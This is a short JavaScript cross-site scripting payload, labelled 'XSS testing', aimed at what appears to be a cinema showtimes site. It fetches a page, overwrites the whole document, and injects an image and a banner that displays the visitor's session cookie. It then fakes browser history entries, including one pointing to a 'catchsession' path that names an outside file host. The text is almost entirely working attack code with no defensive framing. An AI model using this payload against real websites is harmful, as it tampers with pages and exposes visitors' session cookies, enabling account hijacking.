XSS testing

128749812749081274.js

fetch('/GetShowsByCinema.php?CinemaId=8007').then(r => r.text()).then(html => {
    // Crear un contenedor temporal
    const temp = document.createElement('html');
    temp.innerHTML = html;
     document.documentElement.innerHTML = temp.innerHTML;
     $("body > section:nth-child(2)").html("<div><img src='https://www.razon.com.mx/resizer/v2/5ACUDLBLU5H6NEX6R4USQYZHYE.jpeg?auth=67992f5c02c14bd42d12605270224bd937c58fa3d905266954d197482383735d&smart=true&width=1100&height=550&quality=75'/><br><h3 style='color: #ff0000'>Tu sesión :) »"+document.cookie+"</h3></div>"+$("body > section:nth-child(2)").html())
    history.pushState({}, '', '/');
    history.pushState({}, '', '/hi.php');
    history.pushState({}, '', '/catchsession.php?server=https://www.anonfile.la/71248712');
    history.pushState({}, '', '/GetShowsByCinema.php?CinemaId=8007');
  });